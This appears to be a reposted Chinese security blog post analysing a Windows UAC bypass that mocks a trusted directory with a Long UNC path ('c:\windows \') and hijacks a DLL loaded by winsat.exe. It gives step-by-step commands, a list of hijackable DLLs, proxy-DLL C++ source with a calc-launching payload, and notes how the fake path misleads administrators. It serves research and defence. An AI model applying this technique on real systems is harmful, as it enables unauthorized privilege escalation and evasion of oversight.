c++ windows获得当前工作目录文件_通过模拟可信目录绕过UAC的利用分析

bfddad123115bb4a1992dc7fab12ae34.gif

1f02980f920500898f3cf6cf69590e5a.png0x00 前言

从@CE2Wells的博客学到的一个技巧,通过模拟可信目录能够绕过UAC,本文将对结合自己的经验对这个方法进行介绍,添加自己的理解,分享测试中的细节。

文章地址:

https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e

1f02980f920500898f3cf6cf69590e5a.png

0x01 简介

· 原理介绍

· 实现细节

· 实际测试

· 利用分析

1f02980f920500898f3cf6cf69590e5a.png

0x02 原理介绍

1、Long UNC

在之前的文章《Catalog签名伪造——Long UNC文件名欺骗》曾介绍过exe文件使用Long UNC后能够欺骗系统,将其识别为另一个文件。

例如:

type putty.exe > "\\?\C:\Windows\System32\calc.exe "

如下图:

724ac810198321a106652a5e34804d8a.png

这个方法同样适用于文件夹

例如:

md "\\?\c:\windows "

新创建的文件夹能够欺骗系统,将其识别为另一个文件夹。

如下图:

5575f541ee033f5187360fe433159046.png

eeb21b1dad3b306427692a4d3b1439cd.png

2、默认能够绕过UAC的文件

需要满足以下三个条件:

· 程序配置为自动提升权限,以管理员权限执行。

· 程序包含签名。

· 从受信任的目录("c:\windows\system32")执行。

3、普通用户权限能够在磁盘根目录创建文件夹

例如,普通用户权限能够在c盘下创建文件夹。

4、dll劫持

exe程序如果在启动过程中需要加载dll,默认先搜索exe程序的同级目录。

综上,满足了绕过UAC的所有条件。

实现的思路如下:

1、找到一个默认能够绕过UAC的文件,例如c:\windows\system32\winsat.exe

2、使用Long UNC创建一个特殊的文件夹"c:\windows \",并将winsat.exe复制到该目录。

3、执行winsat.exe,记录启动过程,发现启动时需要加载同级目录下的WINMM.dll

4、编写payload.dll,指定导出函数同c:\windows\system32\winmm.dll相同,并命名为"c:\windows \system32\WINMM.dll"

5、执行"c:\windows \system32\winsat.exe",将自动绕过UAC,加载"c:\windows \system32\WINMM.dll",执行payload

1f02980f920500898f3cf6cf69590e5a.png

0x03 实现细节

1、寻找可供利用的exe

这些文件的特征之一是manifest中的autoElevate属性为true。

可以借助powershell实现自动化搜索,参考工具:

https://github.com/g3rzi/Manifesto

界面化的工具使用如下图:

26697a0a8c2e3d635d3b02d76fde1838.png

2、使用Long UNC创建一个特殊的文件夹"c:\windows \"

C++的实现代码如下:

CreateDirectoryW(L"\\\\?\\C:\\Windows \\", 0);

通过命令行实现的命令如下:

md "\\?\c:\windows "

3、记录winsat.exe的启动过程,寻找启动时加载的dll

这里可以使用Process Monitor,筛选出启动过程中结果为"NAME NOT FOUND"的记录,如下图:

3ec611f8652ad1a1ae17e415cdf3539c.png

因此,可供利用的dll名称如下:

· VERSION.dll

· WINMM.dll

· POWRPROF.dll

· dxgi.dll

· dwmapi.dll

· d3d10_1.dll

· d3d1-_1core.dll

· d3d11.dll

· d3d10core.dll

· QUARTZ.dll

任选一个即可。

4、编写payload.dll,指定导出函数

这里可以使用exportstoc,下载地址:

https://github.com/michaellandi/exportstoc

详细使用说明可参考之前的文章《Study Notes Weekly No.1(Monitor WMI & ExportsToC++ & Use DiskCleanup bypass UAC)》

例如这里选择VERSION.dll,劫持的原dll路径为c:\\Windows\\system32\\version.dll,如下图:

ef0b89c3aa644800e4f67b64ec2cca72.png

添加payload为启动计算器,最终的代码如下:

#include "stdafx.h"

#include

#include

using namespace std;

#pragma comment (linker, "/export:GetFileVersionInfoA=c:\\windows\\system32\\version.GetFileVersionInfoA,@1")

#pragma comment (linker, "/export:GetFileVersionInfoByHandle=c:\\windows\\system32\\version.GetFileVersionInfoByHandle,@2")

#pragma comment (linker, "/export:GetFileVersionInfoExW=c:\\windows\\system32\\version.GetFileVersionInfoExW,@3")

#pragma comment (linker, "/export:GetFileVersionInfoSizeA=c:\\windows\\system32\\version.GetFileVersionInfoSizeA,@4")

#pragma comment (linker, "/export:GetFileVersionInfoSizeExW=c:\\windows\\system32\\version.GetFileVersionInfoSizeExW,@5")

#pragma comment (linker, "/export:GetFileVersionInfoSizeW=c:\\windows\\system32\\version.GetFileVersionInfoSizeW,@6")

#pragma comment (linker, "/export:GetFileVersionInfoW=c:\\windows\\system32\\version.GetFileVersionInfoW,@7")

#pragma comment (linker, "/export:VerFindFileA=c:\\windows\\system32\\version.VerFindFileA,@8")

#pragma comment (linker, "/export:VerFindFileW=c:\\windows\\system32\\version.VerFindFileW,@9")

#pragma comment (linker, "/export:VerInstallFileA=c:\\windows\\system32\\version.VerInstallFileA,@10")

#pragma comment (linker, "/export:VerInstallFileW=c:\\windows\\system32\\version.VerInstallFileW,@11")

#pragma comment (linker, "/export:VerLanguageNameA=c:\\windows\\system32\\version.VerLanguageNameA,@12")

#pragma comment (linker, "/export:VerLanguageNameW=c:\\windows\\system32\\version.VerLanguageNameW,@13")

#pragma comment (linker, "/export:VerQueryValueA=c:\\windows\\system32\\version.VerQueryValueA,@14")

#pragma comment (linker, "/export:VerQueryValueW=c:\\windows\\system32\\version.VerQueryValueW,@15")

BOOL WINAPI DllMain(HINSTANCE hInst,DWORD reason,LPVOID)

{

system("start calc.exe");

return true;

}

将其编译成dll,另存为"c:\windows \system32\VERSION.dll",

5、启动exe

命令行下启动需要绝对路径:"c:\windows \system32\winsat.exe"

注:这里不可以使用短文件名(短文件名通过"dir /x"获得)。

1f02980f920500898f3cf6cf69590e5a.png

0x04 利用分析

1、可供利用的位置不唯一。

在我的测试系统(Win7 x64)中,可供利用的exe有39个,可供利用的dll也有很多。

2、对于Long UNC这种文件夹还有其他形式。

例如:

· 文件名可以包含多个空格: "\\?\C:\Windows "

· 使用字符"."(最少两个): "\\?\C:\Windows.."

但其他形式的文件夹无法用来绕过UAC。

3、使用Long UNC创建伪造的文件夹能够欺骗“粗心的管理员”。

例如系统开启Windows command line process auditing,记录程序运行的参数。

如下图:

7306a598f9325efd1018f89e70f430f4.png

肉眼很难分辨。

1f02980f920500898f3cf6cf69590e5a.png

0x05 小结

本文对通过模拟可信目录绕过UAC的方法进行分析,分享测试中的细节。

443d402168481909541ff2c5558de099.png

e5a15e9d3c1798131c0dd3ff9bbc20b5.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值